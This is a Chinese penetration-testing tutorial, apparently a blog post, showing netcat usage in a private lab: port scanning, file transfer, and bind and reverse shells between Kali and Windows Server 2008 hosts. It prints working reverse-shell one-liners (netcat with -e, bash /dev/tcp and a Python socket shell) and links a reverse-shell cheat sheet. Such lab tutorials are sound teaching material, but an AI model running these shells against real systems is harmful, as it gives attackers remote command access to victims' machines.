内网隧道搭建总结(一)(下)

简介: 内网隧道搭建总结(一)

5.1 Windows下使用


使用命令nc.exe -h可以查看命令使用介绍




nc.exe -h即可看到各参数的使用方法。基本格式:nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port]
-d 后台模式-e prog 程序重定向,一旦连接,就执行 [危险!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h 帮助信息-i secs 延时的间隔-l 监听模式,用于入站连接-L 连接关闭后,仍然继续监听-n 指定数字的IP地址,不能用hostname-o file 记录16进制的传输-p port 本地端口号-r 随机本地及远程端口-s addr 本地源地址-t 使用TELNET交互方式-u UDP模式-v 详细输出--用两个-v可得到更详细的内容-w secs timeout的时间-z 将输入输出关掉--用于扫描时
参考链接:https://blog.csdn.net/zhangge3663/article/details/84379843

5.2 端口扫描


扫描本地端口


nc64.exe -nv 127.0.0.1 80

nc64.exe -nv 127.0.0.1 3389



扫描其他的机器端口



批量扫描端口信息


nc -v -z 192.168.238.13 3389-339



据说缺点就是很慢!!!

5.3 文件传输


文件传输的时候,可以简单分为两种模式


5.3.1 先监听,再接收


首先在接收文件的机器上监听端口,再发送文件,文件直接发送到接收机的指定端口


在这里使用kali发送文件,使用winserver08进行接收文件实验

kali ip:192.168.238.15

winserver08: 192.168.238.13


08开启监听

nc.exe -l -p 7777 > get.txt

这里是接收从7777端口的数据全部写到get.txt文件里面去



在kali里面将文件传输过去


nc 192.168.238.13 7777 < 1.txt




这时候文件传输其实已经结束了,但是两个并不会直接断开,需要在08里面检测一下文件是否已经传输完成。



这里显示文件是已经传输完成了,可以在kali中使用ctrl+c结束传输,kali结束之后,08中传输自动退出



5.3.2  先发送,再接收


kali先发送文件到本地的端口上,等待接收机主动连接接收文件

先在kali上启动命令


nc -l -p 7777 < 1.txt



然后在接收文件的08上访问kali的ip地址进行接收

nc64.exe 192.168.238.15 7777 > 1.txt

同样,nc在接收完之后是不会主动停止的,需要在08上查看下文件是否接收正常。


当然还可以传文件夹或目录,有兴趣的可以去看下,而且也可以提供非常简易的聊天功能,不过这种方法比较笨拙,不推荐使用


5.4 反弹shell


反弹shell,一共有两种模式

5.4.1 正向连接shell


攻击机直接连接受害者机器


此时:

  • 受害者机器  win08  192.168.238.13
  • 攻击机 kali  192.168.238.15


在受害者机08上运行


nc64.exe -lvp 7777 -e c:\windows\system32\cmd.exe



然后在攻击机上运行


nc 192.168.238.13 7777




如果反过来


此时:

  • 受害者机器   kali  192.168.238.15
  • 攻击机 win08  192.168.238.13


在受害者机器上运行

nc -lvp 7777 -e /bin/sh



然后在攻击机上主动连接受害者机器运行



此时成功



5.4.2 反向连接shell


和上面的相反,需要受害者机器主动连接攻击机


此时:

  • 受害者机器  win08  192.168.238.13
  • 攻击机 kali  192.168.238.15


在攻击机上首先监听端口


nc -lvp 7777



然后在受害者机器上运行,主动连接攻击机



nc64.exe 192.168.238.15  7777 -e c:\windows\system32\cmd.exe




如果反过来


此时:

  • 受害者机器   kali  192.168.238.15
  • 攻击机 win08  192.168.238.13


首先在攻击机上开启监听



在受害者机器上运行

nc 192.168.238.13 7777 -e /bin/sh



攻击机上就可以运行命令:



此时成功



5.5 受害机无nc的情况


如果受害者机器没有nc的话,这里就需要使用其他的方法来反弹shell了


5.5.1 bash反弹


使用方法:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

其中8080是端口,10.0.0.1是监听机的ip地址


此时:

  • 受害者机器   kali  192.168.238.15
  • 攻击机 win08  192.168.238.13


首先在攻击机上开启监听

nc64.exe -lvp 7777



在kali上执行bash命令

bash -i >& /dev/tcp/192.168.238.13/7777 0>&1



在kali上无法执行,应该是使用了zsh的原因,这里启一个docker来做



然后在攻击机08上就接收到了反弹的shell



5.5.2 python反弹



python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


此时:

  • 受害者机器   kali  192.168.238.15
  • 攻击机 win08  192.168.238.13


首先在攻击机上开启监听

nc64.exe -lvp 7777



在kali上执行python反弹命令,注意:这里使用的是python2,不是python3



python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



在攻击机就可以接收反弹的shell信息了



5.5.3 其他



http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


这里提供了很多的方法,可以进行shell的反弹


参考资料:


https://mp.weixin.qq.com/s/ma8ROHh1_giS4Yn13DEr-Ahttps://blog.csdn.net/wyvbboy/article/details/61921773https://www.cnblogs.com/nmap/p/6148306.htmlhttps://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247487442&idx=1&sn=eaa8bbffd318c290ffd93917346f8e06&chksm=ea37f088dd40799ef6cda27c36ace8812a1ecd656ade4d3d31c833c7d5b1dad95724f0eef6d9&scene=21#wechat_redirecthttps://blog.csdn.net/mtj66/article/details/74959287
相关文章
|
2月前
|
关系型数据库 MySQL PHP
【无公网IP】安装Wnmp并结合内网穿透,实现灵活可靠的外网访问内网服务!
【无公网IP】安装Wnmp并结合内网穿透,实现灵活可靠的外网访问内网服务!
|
安全 搜索推荐 网络架构
什么是内网和外网?什么是内网IP和外网IP?本地连接和宽带连接又有什么区别?
何为内网外网迷糊?究竟什么是内网?什么是外网?他们又有和区别?还有什么是内网IP和外网IP?本地连接和宽带连接有什么区别?怂怂今天就来给大家科普一下吧:
3886 0
|
5天前
|
安全 Java 网络安全
内网和外网的区别及应用
内网和外网的区别及应用
|
2月前
如何用cpolar创建隧道,实现外网访问内网?
如何用cpolar创建隧道,实现外网访问内网?
|
9月前
|
安全 网络安全 网络虚拟化
企业路由器配置PPTP PC到站点模式VPN指南(外网访问内网资源)
企业路由器配置PPTP PC到站点模式VPN指南(外网访问内网资源)
233 0
|
Ubuntu 网络协议 Linux
内网隧道搭建总结(一)(上)
内网隧道搭建总结(一)
284 1
内网隧道搭建总结(一)(上)
内网安全-内网漫游Socks代理隧道技术
内网安全-内网漫游Socks代理隧道技术
|
网络协议 安全
内网接入外网的几种方式
内网接入外网的几种方式
710 0
|
网络协议 安全 Linux
【内网安全-隧道搭建】内网穿透_Nps配置、上线
【内网安全-隧道搭建】内网穿透_Nps配置、上线
1504 0
【内网安全-隧道搭建】内网穿透_Nps配置、上线
|
安全 网络协议 Linux
【内网安全-隧道搭建】内网穿透_Frp上线、测试
【内网安全-隧道搭建】内网穿透_Frp上线、测试
568 0
【内网安全-隧道搭建】内网穿透_Frp上线、测试

热门文章

最新文章

  • 1
    流量控制系统,用正则表达式提取汉字
    27
  • 2
    Redis09-----List类型,有序,元素可以重复,插入和删除快,查询速度一般,一般保存一些有顺序的数据,如朋友圈点赞列表,评论列表等,LPUSH user 1 2 3可以一个一个推
    26
  • 3
    Redis08命令-Hash类型,也叫散列,其中value是一个无序字典,类似于java的HashMap结构,Hash结构可以将对象中的每个字段独立存储,可以针对每字段做CRUD
    27
  • 4
    Redis07命令-String类型字符串,不管是哪种格式,底层都是字节数组形式存储的,最大空间不超过512m,SET添加,MSET批量添加,INCRBY age 2可以,MSET,INCRSETEX
    28
  • 5
    S外部函数可以访问函数内部的变量的闭包-闭包最简单的用不了,闭包是内层函数+外层函数的变量,简称为函数套函数,外部函数可以访问函数内部的变量,存在函数套函数
    24
  • 6
    Redis06-Redis常用的命令,模糊的搜索查询往往会对服务器产生很大的压力,MSET k1 v1 k2 v2 k3 v3 添加,DEL是删除的意思,EXISTS age 可以用来查询是否有存在1
    31
  • 7
    Redis05数据结构介绍,数据结构介绍,官方网站中看到
    22
  • 8
    JS字符串数据类型转换,字符串如何转成变量,+号只要有一个是字符串,就会把另外一个转成字符串,- * / 都会把数据转成数字类型,数字型控制台是蓝色,字符型控制台是黑色,
    20
  • 9
    JS数组操作---删除,arr.pop()方法从数组中删除最后一个元素,并返回该元素的值,arr.shift() 删除第一个值,arr.splice()方法,删除指定元素,arr.splice,从第一
    21
  • 10
    定义好变量,${age}模版字符串,对象可以放null,检验数据类型console.log(typeof str)
    19